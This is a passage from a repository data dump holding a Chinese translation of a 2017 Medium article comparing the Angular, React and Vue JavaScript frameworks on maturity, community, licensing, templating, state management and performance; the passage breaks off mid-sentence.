是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/angular-vs-react-vs-vue-a-2017-comparison.md",
    "content": "\n> * 原文地址：[Angular vs. React vs. Vue: A 2017 comparison](https://medium.com/unicorn-supplies/angular-vs-react-vs-vue-a-2017-comparison-c5c52d620176)\n> * 原文作者：[Jens Neuhaus](https://medium.com/@jensneuhaus?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-vs-vue-a-2017-comparison.md](https://github.com/xitu/gold-miner/blob/master/TODO/angular-vs-react-vs-vue-a-2017-comparison.md)\n> * 译者：[Raoul1996](https://github.com/raoul1996)\n> * 校对者：[caoyi0905](https://github.com/caoyi0905)、[PCAaron](https://github.com/PCAaron)\n\n# 2017 年比较 Angular、React、Vue 三剑客 \n\n 为 web 应用选择 JavaScript 开发框架是一件很费脑筋的事。现如今 [Angular](https://angular.io/) 和 [React](https://facebook.github.io/react/) 非常流ßß行，并且最近出现的新贵 [VueJS](https://vuejs.org/) 同样博得了很多人的关注。更重要的是，这只是一些[街头顽童](https://hackernoon.com/top-7-javascript-frameworks-c8db6b85f1d0)。\n![Javascripts in 2017 —— things aren’t easy these days!](https://cdn-images-1.medium.com/max/800/1*xRhs4h2a_rGpXNpoSNlA9w.png)\n\n那么我们如何选择使用哪个框架呢？列出他们的优劣是极好的。我们将按照先前文章的方式去做，“[共有9步：为 Web 应用选择一个技术栈](https://medium.com/unicorn-supplies/9-steps-how-to-choose-a-technology-stack-for-your-web-application-a6e302398e55)”。\n\n## 在开始之前 —— 是否应用单页 Web 应用开发？\n\n首先你需要弄明白你需要单页面应用程序（SPA）还是多页面的方式。关于这个问题的详细内容请阅读我的博客文章，“[单页面应用程序（SPA）与多页 Web 应用程序（MPA）](https://medium.com/unicorn-supplies/angular-vs-react-vs-vue-a-2017-comparison-c5c52d620176#)“（即将推出，请关注我 [Twitter](http://www.twitter.com/jensneuhaus/) 的更新）。\n\n## 今日首发：Angular，React 和 Vue\n\n首先，我想从**生命周期和战略考虑**角度讨论。然后，我们再讨论这三个 JavaScript 框架的**功能和概念**。最后，我们再做**结论**。\n\n以下是我们今天要解决的问题：\n\n- **这些框架或库有多成熟**？\n- 这些框架只会**火热一时**吗？\n- **这些框架相应的社区规模有多大，能得到多少帮助**？\n- 找到每个框架开发者**容易吗**？\n- 这些框架的**基本编程概念** 是什么？\n- **对于小型或大型应用程序**，框架是否易用？\n- 每个框架**学习曲线**什么样？\n- 你期望这些框架的**性能**怎么样？\n- 在哪能**仔细了解底层原理**？\n- 你可以用你选择的框架**开发**吗？\n\n准备好，听我娓娓道来！\n\n## 生命周期与战略考虑\n\n![比较 React、Angular 和 Vue](https://cdn-images-1.medium.com/max/800/1*aPijhbTjT0VOxPYq2RkVUw.png)\n\n### 一些历史\n\n**Angular** 是基于 TypeScript 的 Javascript 框架。由 Google 进行开发和维护，它被描述为“超级厉害的 JavaScript [MVW](https://plus.google.com/+AngularJS/posts/aZNVhj355G2) 框架”。Angular（也被称为 “Angular 2+”，“Angular 2” 或者 “ng2”）已被重写，是与 AngularJS（也被称为 “Angular.js” 或 “AngularJS 1.x”）不兼容的后续版本。当 AngularJS（旧版本）最初于2010年10月发布时，仍然在[修复 bug](https://github.com/angular/angular.js)，等等 —— 新的 Angular（sans JS）于 2016 年 9 月推出版本 2。最新的主版本是 4，[因为版本 3 被跳过了](http://www.infoworld.com/article/3150716/application-development/forget-angular-3-google-skips-straight-to-angular-4.html)。Google，Vine，Wix，Udemy，weather.com，healthcare.gov 和 Forbes 都使用 Angular（根据 [madewithangular](https://www.madewithangular.com/)，[stackshare](https://stackshare.io/angular-2) 和 [libscore.com](http://libscore.com/#angular) 提供的数据）。\n\n**React** 被描述为 “用于构建用户界面的 JavaScript 库”。React 最初于 2013 年 3 月发布，由 Facebook 进行开发和维护，Facebook 在多个页面上使用 React 组件（但不是作为单页应用程序）。根据 [Chris Cordle](https://medium.com/@chriscordle) [这篇文章](https://medium.com/@chriscordle/why-angular-2-4-is-too-little-too-late-ea86d7fa0bae)的统计，React 在 Facebook 上的使用远远多于 Angular 在 Google 上的使用。React 还被 Airbnb，Uber，Netflix，Twitter，Pinterest，Reddit，Udemy，Wix，Paypal，Imgur，Feedly，Stripe，Tumblr，Walmart 等使用（根据 [Facebook](https://github.com/facebook/react/wiki/Sites-Using-React), [stackshare](https://stackshare.io/react) 和 [libscore.com](http://libscore.com/#React) 提供的数据）。\n\nFacebook 正在开发 **React Fiber**。它会改变 React 的底层 - 渲染速度应该会更快 - 但是在变化之后，版本会向后兼容。Facebook 将会在 2017 年 4 月的开发者大会上[讨论](https://developers.facebook.com/videos/f8-2017/the-evolution-of-react-and-graphql-at-facebook-and-beyond/)新变化，并发布一篇非官方的[关于新架构的文章](https://github.com/acdlite/react-fiber-architecture)。React Fiber 可能与 React 16 一起发布。\n\n**Vue** 是 2016 年发展最为迅速的 JS 框架之一。Vue 将自己描述为一款“用于构建直观，快速和组件化交互式界面的 [MVVM](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel) 框架”。它于 2014 年 2 月首次由 Google 前员工 [Evan You](https://github.com/yyx990803) 发布（顺便说一句：尤雨溪那时候发表了一篇 [vue 发布首周的营销活动和数据](http://blog.evanyou.me/2014/02/11/first-week-of-launching-an-oss-project/) 的博客文章）。尤其是考虑到 Vue 在没有大公司的支持的情况下，作为一个人开发的框架还能获得这么多的吸引力，这无疑是非常成功的。尤雨溪目前有一个包含数十名核心开发者的团队。2016 年，版本 2 发布。Vue 被阿里巴巴，百度，Expedia，任天堂，GitLab 使用 — 可以在 [madewithvuejs.com](https://madewithvuejs.com/) 找到一些小型项目的列表。\n\nAngular 和 Vue 都遵守 **MIT license** 许可，而 React 遵守 **[BSD3-license](https://en.wikipedia.org/wiki/BSD_licenses#3-clause_license_.28.22BSD_License_2.0.22.2C_.22Revised_BSD_License.22.2C_.22New_BSD_License.22.2C_or_.22Modified_BSD_License.22.29) 许可证**。在专利文件上有很多讨论。[James Ide](https://medium.com/@ji)（前 Facebook 工程师）解释专利文件背后的[原因和历史](https://medium.com/@ji/the-react-license-for-founders-and-ctos-b38d2538f3e5)：Facebook 的专利授权是在保护自己免受专利诉讼的能力的同时分享其代码。专利文件被更新了一次，有些人声称，如果你的公司不打算起诉 Facebook，那么使用 React 是可以的。你可以[在 Github 的这个 issue 上](https://github.com/facebook/react/issues/7293) 查看讨论。我不是律师，所以如果 React 许可证对你或你的公司有问题，你应该自己决定。关于这个话题还有很多文章：[Dennis Walsh](https://medium.com/@dwalsh.sdlr) 写到，[你为什么不该害怕](https://medium.com/@dwalsh.sdlr/react-facebook-and-the-revokable-patent-license-why-its-a-paper-25c40c50b562)。[Raúl Kripalani](https://medium.com/@raulk) 警告：[反对创业公司使用 React](https://medium.com/@raulk/if-youre-a-startup-you-should-not-use-react-reflecting-on-the-bsd-patents-license-b049d4a67dd2)，他还写了一篇[备忘录概览](https://medium.com/@raulk/further-notes-and-questions-arising-from-facebooks-bsd-3-strong-patent-retaliation-license-c6386e8e1d60)。此外，Facebook上还有一个最新的声明：[解释 React 的许可证](https://code.facebook.com/posts/112130496157735/explaining-react-s-license/)。\n\n### 核心开发\n\n如前所述，Angular 和 React 得到大公司的支持和使用。Facebook，Instagram 和 WhatsApp 正在它们的页面使用 React。Google 在很多项目中使用 Angular，例如，新的 Adwords 用户界面是使用 [Angular 和 Dart](http://news.dartlang.org/2016/03/the-new-adwords-ui-uses-dart-we-asked.html?m=1)。然而，Vue 是由一群通过 Patreon 和其他赞助方式支持的个人实现的，是好坏你自己确定。[Matthias Götzke](https://medium.com/@mgoetzke) 认为 Vue 小团队的好处是 [用了更简洁和更少的过度设计的代码或 API](https://medium.com/@mgoetzke/some-people-have-been-asking-about-the-dependability-of-vue-jss-9dc2842b3709)。\n\n我们来看看一些统计数据：Angular 在团队介绍页[列出 36 人](https://angular.io/about?group=Angular)，Vue [列出 16 人](https://vuejs.org/v2/guide/team.html)，而 React 没有团队介绍页。**在 Github 上**，Angular 有 25,000+ 的 star 和 463 位代码贡献者，React 有 70,000+ 的 star 和 1,000+ 位代码贡献者，而 Vue 有近 60,000 的 star 和只有 120 位代码贡献者。你也可以查看 [Angular，React 和 Vue 的 Github Star 历史](http://www.timqian.com/star-history/#facebook/react&angular/angular&vuejs/vue)。又一次说明 Vue 的趋势似乎很好。根据 [bestof.js](https://bestof.js.org/tags/framework/trending/last-3-months) 提供的数据显示，在过去三个月 Angular 2 平均每天获得 31 个 star，React 74 个，Vue.JS 107 个。\n\n![Angular，React 与 Due 的 Github Star 历史 (数据来源)](https://cdn-images-1.medium.com/max/800/1*vvRdTNyQNrDeAxBXzBbqQw.png)\n\n[数据来源](http://www.timqian.com/star-history/#facebook/react&angular/angular&vuejs/vue)\n\n**更新**: 感谢 [Paul Henschel](https://medium.com/@drcmda) 提出的 [npm 趋势](http://www.npmtrends.com/angular-vs-react-vs-vue-vs-@angular/core)。npm 趋势显示了 npm 包的下载次数，相对比单独地看 Github star 更有用：\n\n![在过去 2 年，npm 包的下载次数](https://cdn-images-1.medium.com/max/800/1*JKPQhZwOGAAlViSYsUf--w.png)\n\n### 市场生命周期\n\n由于各种名称和版本，很难在 Google 趋势中比较 Angular，React 和 Vue。一种近似的方法可以是“互联网与技术”类别中的搜索。结果如下：\n\n![](https://cdn-images-1.medium.com/max/600/1*gTNdON6wlXXiDJONUUtioQ.png)\n\nVue 没有在 2014 年之前创建 - 所以这里有什么不对劲。La Vue是法语的 “view” ，“sight” 或 “opinion”。也许就是这样。“VueJS” 和 “Angular” 或 “React” 的比较也是不公平的，因为 VueJS 几乎没有搜索到任何结果。\n\n那我们试试别的吧。ThoughtWorks 的 [Technology Radar](https://www.thoughtworks.com/de/radar#) 技术随时间推移的变化。ThoughtWorks 的 [Technology Radar](https://www.thoughtworks.com/de/radar#) 随着时间推移，技术的演进过程给人深刻的印象。Redux 是[在采用阶段](https://www.thoughtworks.com/de/radar/languages-and-frameworks/redux)（被 ThoughtWorks 项目采用的！），它在许多 ThoughtWorks 项目中的价值是不可估量的。Vue.js 是[在试用阶段](https://www.thoughtworks.com/de/radar/languages-and-frameworks/vue-js)（被试着用的）。Vue被描述为具有平滑学习曲线的，轻量级并具灵活性的Angular的替代品。Angular 2 是[正在处于评估阶段](https://www.thoughtworks.com/de/radar/languages-and-frameworks/angular-2) 使用 —— 已被 ThoughtWork 团队成功实践，但是还没有被强烈推荐。\n\n根据 [2017 年 Stackoverflow 的最新调查](https://insights.stackoverflow.com/survey/2017#most-loved-dreaded-and-wanted)，被调查的开发者中，喜爱 Reat 有 67%，喜欢 AngularJS 的有 52%。“没有兴趣在开发中继续使用”的开发者占了更高的数量，AngularJS（48%）和 React（33%）。在这两种情况下，Vue都不在前十。然后是 statejs.com 关于比较 “[前端框架](http://stateofjs.com/2016/frontend/)” 的调查。最有意思的事实是：React 和 Angular 有 100% 的认知度，23% 的受访者不了解 Vue。关于满意度，92% 的受访者愿意“再次使用” React ，Vue 有 89% ,而 Angular 2 只有 65%。\n\n客户满意度调查呢？[Eric Elliott](https://medium.com/@_ericelliott) 于 2016 年 10 月开始评估 Angular 2 和 React。只有 38% 的受访者会再次使用 Angular 2，而 84% 的人会再次使用 React。\n\n### 长期支持和迁移\n\nFacebook [在其设计原则中指出](https://facebook.github.io/react/contributing/design-principles.html#stability)，React API 非常稳定。还有一些脚本可以帮助你从当前的API移到更新的版本：请查阅 [react-codemod](https://github.com/reactjs/react-codemod)。迁移是非常容易的，没有这样的东西（需要）作为长期支持的版本。在 Reddit 这篇文章中指出，人们看到到升级[从来不是问题](https://www.reddit.com/r/reactjs/comments/5a45ai/is_react_a_good_choice_for_a_stable_longterm_app/)。React 团队写了一篇关于他们[版本控制方案](https://facebook.github.io/react/blog/2016/02/19/new-versioning-scheme.html) 的博客文章。当他们添加弃用警告时，在下一个主要版本中的行为发生更改之前，他们会保留当前版本的其余部分。没有计划更改为新的主要版本 - v14 于 2015 年 10 月发布，v15 于 2016 年 4 月发布，而 v16 还没有发布日期。（译者注：[v16 于 2017 年 9 月底发布](https://reactjs.org/blog/2017/09/26/react-v16.0.html)）最近 [React核心开发人员指出](https://github.com/facebook/react/issues/8854#issuecomment-312527769)，升级不应该是一个问题。\n\n关于 Angular，从 v2 发布开始，有一篇[关于版本管理和发布 Angular](http://angularjs.blogspot.de/2016/10/versioning-and-releasing-angular.html) 的博客文章。每六个月会有一次重大更新，至少有六个月的时间（两个主要版本）。在文档中有一些实验性的 API 被标记为较短的弃用期。目前还没有官方公告，但[根据这篇文章](https://www.infoq.com/news/2017/04/ng-conf-2017-keynote)，Angular 团队已经宣布了以 Angular 4 开始的长期支持版本。这些将在下一个主要版本发布之后至少一年得到支持。这意味着至少在 **2018 年 9 月** 之前，将支持 Angular 4，并提供 bug 修复和重要补丁。在大多数情况下，将 Angular 从 v2 更新到 v4 与更新 Angular 依赖关系一样简单。Angular 还提供了有关是否需要进一步更改的[信息指南](https://angular-update-guide.firebaseapp.com/)。\n\nVue 1.x 到 2.0 的更新过程对于一个小应用程序来说应该很容易 - 开发者团队已经声称 90% 的 API 保持不变。在控制台上有一个很好的升级 - 诊断迁移 - 辅助工具。一位开发人员[指出](https://news.ycombinator.com/item?id=13151966)，从 v1 到 v2 的更新在大型应用程序中仍然没有挑战。不幸的是，关于 LTS 版本的下一个主要版本或计划信息没有清晰的（公共）路径。\n\n+还有一件事：Angular 是一个完整的框架，提供了很多捆绑在一起的东西。React 比 Angular 更灵活，你可能会使用更多独立的，不稳定的，快速更新的库 - 这意味着你需要自己维护相应的更新和迁移。如果某些包不再被维护，或者其他一些包在某些时候成为事实上的标准，这也可能是不利的。\n\n### 人力资源与招聘\n\n如果你的团队有不需要了解更多 Javascript 技术的 HTML 开发人员，则最好选择 Angular 或 Vue。React 需要了解更多的 JavaScript 技术（我们稍后再谈）。\n\n你的团队有工作时可以敲代码的设计师吗？Reddit 上的用户 “pier25” 指出，如果你在 Facebook 工作，[每个人都是一个资深开发者，React 是有意义的](https://www.reddit.com/r/webdev/comments/5ho71i/why_we_chose_vuejs_over_react/deuynwc/)。然而事实上，你不会总是找到一个可以修改 JSX 的设计师，因此使用 HTML 模板将会更容易。\n\nAngular 框架的好处是来自另一家公司的新的 Angular 2 开发人员将很快熟悉所有必要的约定。React 项目在架构决策方面各不相同，开发人员需要熟悉特定的项目设置。\n\n如果你的开发人员具有面向对象的背景或者不喜欢 Javascript，Angular 也是很好的选择。为了推动这一点，这里是[Mahesh Chand 引述](http://www.c-sharpcorner.com/article/angular-2-or-react-for-decision-makers/)：\n\n> 我不是一个 JavaScript 开发人员。我的背景是使用 “真正的” 软件平台构建大型企业系统。我从 1997 年开始使用 C，C ++，Pascal，Ada 和 Fortran 构建应用程序。（...）我可以清楚地说，JavaScript 对我来说简直是胡言乱语。作为 Microsoft MVP 和专家，我对 TypeScript 有很好的理解。我也不认为 Facebook 是一家软件开发公司。但是，Google 和微软已经是最大的软件创新者。我觉得使用 Google 和微软强大支持的产品会更舒服。另外（...）与我的背景，我知道微软对 TypeScript 有更宏伟的蓝图。\n\nemmmmmmmm...... 我应该提到的，Mahesh是微软的区域总监。\n\n## React，Angular 和 Vue 的比较\n\n### 组件\n\n我们所讨论的框架都是基于组件的。一个组件得到一个输入，并且在一些内部的行为/计算之后，它返回一个渲染的 UI 模板（一个登录/注销区或一个待办事项列表项）作为输出。定义的组件应该易于在网页或其他组件中重用。例如，你可以使用具有各种属性（列，标题信息，数据行等）的网格组件（由一个标题组件和多个行组件组成），并且能够在另一个页面上使用具有不同数据集的组件。这里有一篇[关于组件的综合性文章](https://derickbailey.com/2015/08/26/building-a-component-based-web-ui-with-modern-javascript-frameworks/)，如果你想了解更多这方面的信息。\n\nReact 和 Vue 都擅长处理组件：小型的无状态的函数接收输入和返回元素作为输出。\n\n### Typescript，ES6 与 ES5\n\nReact 专注于使用 Javascript ES6。Vue 使用 Javascript ES5 或 ES6。\n\nAngular 依赖于 TypeScript。这在相关示例和开源项目中提供了更多的一致性（React 示例可以在 ES5 或 ES6 中找到）。这也引入了像装饰器和静态类型的概念。静态类型对于代码智能工具非常有用，比如自动重构，跳转到定义等等 - 它们也可以减少应用程序中的错误数量，尽管这个话题当然没有共识。[Eric Elliott](https://medium.com/@_ericelliott) 在他的文章 “[静态类型的令人震惊的秘密](https://medium.com/javascript-scene/the-shocking-secret-about-static-types-514d39bf30a3)” 中不同意上面的观点。Daniel C Wang 表示，[使用静态类型并没有什么坏处](https://medium.com/@danwang74/the-economics-between-testing-and-types-4a3f8c8a86eb)，同时有测试驱动开发（TDD）和静态类型挺好的。\n\n你也应该知道你[可以使用 Flow 在 React 中启用类型检查](https://www.sitepoint.com/writing-better-javascript-with-flow/)。这是 Facebook 为 JavaScript 开发的静态类型检查器。Flow [也可以集成到 VueJS 中](https://alligator.io/vuejs/components-flow/)。\n\n如果你在用 TypeScript 编写代码，那么你不需要再编写标准的 JavaScript 了。尽管它在不断发展，但与整个 JavaScript 语言相比，TypeScript 的用户群仍然很小。一个风险可能是你正在向错误的方向发展，因为 TypeScript 可能 - 也许不太可能 - 随着时间的推移也会消失。此外，TypeScript 为项目增加了很多（学习）开销 - 你可以在 [Eric Elliott](https://medium.com/@_ericelliott) 的 [Angular 2 vs. React 比较](https://medium.com/javascript-scene/angular-2-vs-react-the-ultimate-dance-off-60e7dfbc379c) 中阅读更多关于这方面的内容。\n\n**更新**: [James Ravenscroft](https://medium.com/@jrwebdev) 在对这篇文章的评论中写道，[TypeScript 对 JSX 有一流的支持](https://medium.com/@jrwebdev/id-argue-that-if-you-love-typescript-then-react-may-be-a-better-choice-ceec950ee543) - 可以无缝地对组件进行类型检查。所以，如果你喜欢 TypeScript 并且你想使用 React，这应该不成问题。\n\n### 模板 —— JSX 还是 HTML\n\nReact 打破了长期以来的最佳实践。几十年来，开发人员试图分离 UI 模板和内联的 Javascript 逻辑，但是使用 JSX，这些又被混合了。这听起来很糟糕，但是你应该听彼得·亨特（Peter Hunt）的演讲 “[React：反思最佳实践](https://www.youtube.com/watch?v=x7cQ3mrcKaY)”（2013 年 10 月）。他指出，分离模板和逻辑仅仅是技术的分离，而不是关注的分离。你应该构建组件而不是模板。组件是可重用的、可组合的、可单元测试的。\n\nJSX 是一个类似 HTML 语法的可选预处理器，并随后在 JavaScript 中进行编译。JSX 有一些怪癖 —— 例如，你需要使用 className 而不是 class，因为后者是 Javascript 的保留字。JSX 对于开发来说是一个很大的优势，因为代码写在同一个地方，可以在代码完成和编译时更好地检查工作成果。当你在 JSX 中输入错误时，React 将不会编译，并打印输出错误的行号。Angular 2 在运行时静默失败（如果使用 Angular 中的预编译，这个参数可能是无效的）。\n\nJSX 意味着 React 中的所有内容都是 Javascript -- 用于JSX模板和逻辑。[Cory House](https://medium.com/@housecor) 在 [2016 年 1 月的文章](https://medium.freecodecamp.org/angular-2-versus-react-there-will-be-blood-66595faafd51) 中指出：“Angular 2 继续把 'JS' 放到 HTML 中。React 把 'HTML' 放到JS 中。“这是一件好事，因为 Javascript 比 HTML 更强大。\n\nAngular 模板使用特殊的 Angular 语法（比如 ngIf 或 ngFor）来增强 HTML。虽然 React 需要 JavaScript 的知识，但 Angular 会迫使你学习 [Angular 特有的语法](https://angular.io/guide/cheatsheet)。\n\nVue 具有“[单个文件组件](https://vuejs.org/v2/guide/single-file-components.html)”。这似乎是对于关注分离的权衡 - 模板，脚本和样式在一个文件中，但在三个不同的有序部分中。这意味着你可以获得语法高亮，CSS 支持以及更容易使用预处理器（如 Jade 或 SCSS）。我已经阅读过其他文章，JSX 更容易调试，因为 Vue 不会显示不规范 HTML 的语法错误。这是不正确的，因为 Vue [转换 HTML 来渲染函数](https://vuejs.org/v2/guide/render-function.html) - 所以错误显示没有问题（感谢 [Vinicius Reis](https://medium.com/@luizvinicius73) 的评论和更正！）。\n\n旁注：如果你喜欢 JSX 的思路，并想在 Vue 中使用它，可以使用 [babel-plugin-transform-vue-jsx](https://github.com/vuejs/babel-plugin-transform-vue-jsx)。\n\n### 框架和库\n\nAngular 是一个框架而不是一个库，因为它提供了关于如何构建应用程序的强有力的约束，并且还提供了更多开箱即用的功能。Angular 是一个 “完整的解决方案” - 功能齐全，你可以愉快的开始开发。你不需要研究库，路由解决方案或类似的东西 - 你只要开始工作就好了。\n\n另一方面，React 和 Vue 是很灵活的。他们的库可以和各种包搭配。（在 [npm](https://www.npmjs.com/search?q=react&page=1&ranking=popularity) 上有很多 React 的包，但 Vue 的包比较少，因为毕竟这个框架还比较新）。有了 React，你甚至可以交换库本身的 API 兼容替代品，如 [Inferno](https://infernojs.org/)。然而，灵活性越大，责任就越大 - React 没有规则和有限的指导。每个项目都需要决定架构，而且事情可能更容易出错。\n\n另一方面，Angular 还有一个令人困惑的构建工具，样板，检查器（linter）和时间片来处理。如果使用项目初始套件或样板，React 也是如此。他们自然是非常有帮助的，但是 React 可以开箱即用，这也许是你应该学习的方式。有时，在 JavaScript 环境中工作要使用各种工具被称为 “Javascript 疲劳症”。[Eric Clemmons](https://medium.com/@ericclemmons) 在他的[文章](https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4) 中说：\n\n> 当开始使用框架，还有一堆安装的工具，你可能会不习惯。这些都是框架生成的。很多开发人员不明白，框架内部发生了什么 —— 或者需要花费很多时间才能搞明白。\n\nVue 似乎是三个框架中最轻量的。GitLab 有一篇[关于 Vue.js（2016 年 10 月）的决定的博客文章](https://about.gitlab.com/2016/10/20/why-we-chose-vue/)：\n\n> Vue.js 完美的兼顾了它将为你做什么和你需要做什么。（...）Vue.js 始终是可及的，一个坚固，但灵活的安全网，保证编程效率和把操作 DOM 造成的痛苦降到最低。\n\n他们喜欢简单易用 —— 源代码非常易读，不需要任何文档或外部库。一切都非常简单。Vue.js “对任何东西都不做大的假设”。还有一个[关于 GitLab 决定的播客节目](https://www.youtube.com/watch?v=ioogrvs2Ejc#action=share)。\n\n另一个来自 Pixeljets 的[关于向 Vue 转变](http://pixeljets.com/blog/why-we-chose-vuejs-over-react/) 的博文。React “是 JS 界在[意识层面](https://en.wikipedia.org/wiki/Single_source_of_truth)向前迈出的一大步，它以一种实用简洁的方式向人们展示了真正的函数式编程。和 Vue 相比，React 的一大缺点是由于 JSX 的限制，组件的粒度会更小。这里是文章的引述：\n\n> 对于我和我的团队来说，代码的可读性是很重要的，但编写代码很有趣也是非常重要的。在实现真正简单的计算器小部件时创建 6 个组件并不奇怪。在许多情况下，在维护，修改或对某个小部件进行可视化检查方面也是不好的，因为你需要绕过多个文件/函数并分别检查每个小块的 HTML。再次，我不是建议写巨石 - 我建议在日常开发中使用组件而不是微组件。\n\n关于 [Hacker news](https://news.ycombinator.com/item?id=13151317) 和 [Reddit](https://www.reddit.com/r/webdev/comments/5ho71i/why_we_chose_vuejs_over_react/) 上的博客文章有趣的讨论 - 有来自 Vue 的持异议者和进一步支持者的争论。\n\n### 状态管理和数据绑定\n\n构建用户界面很困难，因为处处都有状态 - 随着时间的推移而变化的数据带来了复杂性。定义的状态工作流程对于应用程序的增长和复杂性有很大的帮助。对于复杂度不大的应用程序，就不必定义的状态流了，像原生 JS 就足够了。\n\n它是如何工作的？组件在任何时间点描述 UI。当数据改变时，框架重新渲染整个 UI 组件 - 显示的数据始终是最新的。我们可以把这个概念称为“ UI 即功能”。\n\nReact 经常与 Redux 在一起使用。**Redux** 以三个[基本原则](http://redux.js.org/docs/introduction/ThreePrinciples.html) 来自述：\n\n- 单一数据源（Single source of truth）\n- State 是只读的（State is read-only）\n- 使用纯函数执行修改（Changes are made with pure functions）\n\n换句话说：整个应用程序的状态存储在单个 store 的状态树中。这有助于调试应用程序，一些功能更容易实现。状态是只读的，只能通过 action 来改变，以避免竞争条件（这也有助于调试）。编写 Reducer 来指定如何通过 action 来转换 state。\n\n大多数教程和样板文件都已经集成了 Redux，但是如果没有它，你可以使用 React（你可能不需要在你的项目中使用 Redux）。Redux 在代码中引入了复杂性和相当强的约束。如果你正在学习React，那么在你要使用 Redux 之前，你应该考虑学习纯粹的 React。你绝对应该阅读 [Dan Abramov](https://medium.com/@dan_abramov) 的“[你可能不需要Redux](https://medium.com/@dan_abramov/you-might-not-need-redux-be46360cf367)”。\n\n[有些开发人员](https://news.ycombinator.com/item?id=13151577) 建议使用 **[Mobx](https://github.com/mobxjs/mobx) 代替 Redux**。你可以把它看作是一个 “自动的 Redux”，这使得事情一开始就更容易使用和理解。如果你想了解，你应该从[介绍](https://mobxjs.github.io/mobx/getting-started.html)开始。你也可以阅读 Robin 的 [Redux 和 MobX 的比较](https://www.robinwieruch.de/redux-mobx-confusion/)。他还提供了有关[从 Redux 移动到 MobX](https://www.robinwieruch.de/mobx-react/)的信息。如果你想查找其他 Flux 库，[这个列表](https://github.com/voronianski/flux-comparison)非常有用。如果你是来自 MVC 的世界，那么你应该阅读 [Mikhail Levkovsky](https://medium.com/@mlovekovsky) 的文章“[Redux 中的思考（当你所知道的是 MVC）](https://medium.com/p/thinking-in-redux-when-all-youve-known-is-mvc-c78a74d35133?source=user_popover)”。\n\nVue 可以使用 Redux，但它提供了 [Vuex](https://github.com/vuejs/vuex) 作为自己的解决方案。\n\nReact 和 Angular 之间的巨大差异是 **单向与双向绑定**。当 UI 元素（例如，用户输入）被更新时，Angular 的双向绑定改变 model 状态。React 只有一种方法：先更新 model，然后渲染 UI 元素。Angular 的方式实现起来代码更干净，开发人员更容易实现。React 的方式会有更好的数据总览，因为数据只能在一个方向上流动（这使得调试更容易）。\n\n这两个概念各有优劣。你需要了解这些概念，并确定这是否会影响你选择框架。文章“[双向数据绑定：Angular 2 和 React](https://www.accelebrate.com/blog/two-way-data-binding-angular-2-and-react/)”和[这个 Stackoverflow 上的问题](https://stackoverflow.com/questions/34519889/can-anyone-explain-the-difference-between-reacts-one-way-data-binding-and-angula)都提供了一个很好的解释。[在这里](http://n12v.com/2-way-data-binding/)你可以找到一些交互式的代码示例（3 年前的示例（，只适用于 Angular 1 和 React）。最后，Vue 支持[单向绑定和双向绑定](https://medium.com/js-dojo/exploring-vue-js-reactive-two-way-data-binding-da533d0c4554)（默认为单向绑定）。\n\n如果你想进一步阅读，这有一篇长文，是有关状态的不同类型和 [Angular 应用程序中的状态管理](https://blog.nrwl.io/managing-state-in-angular-applications-22b75ef5625f)（[Victor Savkin](https://medium.com/@vsavkin)）。\n\n### 其他的编程概念\n\nAngular 包含依赖注入（dependency injection），即一个对象将依赖项（服务）提供给另一个对象（客户端）的模式。这导致更多的灵活性和更干净的代码。文章 “[理解依赖注入](https://github.com/angular/angular.js/wiki/Understanding-Dependency-Injection)” 更详细地解释了这个概念。\n\n[模型 - 视图 - 控制器模式](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller)（MVC）将项目分为三个部分：模型，视图和控制器。Angular（MVC 模式的框架）有开箱即用的 MVC 特性。React 只有 V —— 你需要自己解决 M 和 C。\n\n### 灵活性与精简到微服务\n\n你可以通过仅仅添加 React 或 Vue 的 JavaScript 库到你的源码中的方式去使用它们。但是由于 Angular 使用了 TypeScript，所以不能这样使用 Angular。\n\n现在我们正在更多地转向微服务和微应用。React 和 Vue 通过只选择真正需要的东西，你可以更好地控制应用程序的大小。它们提供了更灵活的方式去把一个老应用的一部分从单页应用（SPA）转移到微服务。Angular 最适合单页应用（SPA），因为它可能太臃肿而不能用于微服务。\n\n正如 [Cory House](https://medium.com/@housecor) 所说:\n\n> JavaScript 发展速度很快，而且 React 可以让你将应用程序的一小部分替换成更好用的 JS 库，而不是期待你的框架能够创新。**小巧，可组合的单一用途工具的理念永远不会过时**。\n\n有些人对非单页的网站也使用 React（例如复杂的表单或向导）。甚至 Facebook 都没有把 React 用在 Facebook 的主页，而是用在特定的页面，实现特定的功能。\n\n### 体积和性能\n\n任何框架都不会十全十美：Angular 框架非常臃肿。gzip 文件大小为 143k，而 Vue 为 23K，React 为 43k。\n\n为了提高性能，React 和 Vue 都使用了虚拟 DOM（Virtual DOM）。如果你对此感兴趣，可以阅读[虚拟 DOM 和 DOM 之间的差异](http://reactkungfu.com/2015/10/the-difference-between-virtual-dom-and-dom/)以及 [react.js 中虚拟 DOM 的实际优势](https://www.accelebrate.com/blog/the-real-benefits-of-the-virtual-dom-in-react-js/)。此外，虚拟 DOM 的作者之一在 Stackoverflow 上回答了[性能的相关问题](https://stackoverflow.com/questions/21109361/why-is-reacts-concept-of-virtual-dom-said-to-be-more-performant-than-dirty-mode)。\n\n为了检查性能，我看了一下最佳的 [js 框架基准](https://github.com/krausest/js-framework-benchmark)。你可以自己下载并运行它，或者查看[交互式结果表](http://www.stefankrause.net/js-frameworks-benchmark6/webdriver-ts-results/table.html)。\n\n![](https://cdn-images-1.medium.com/max/800/1*YpbalqSUMYIYjXCduq7dcA.png)\n\nAngular，React 和 Vue 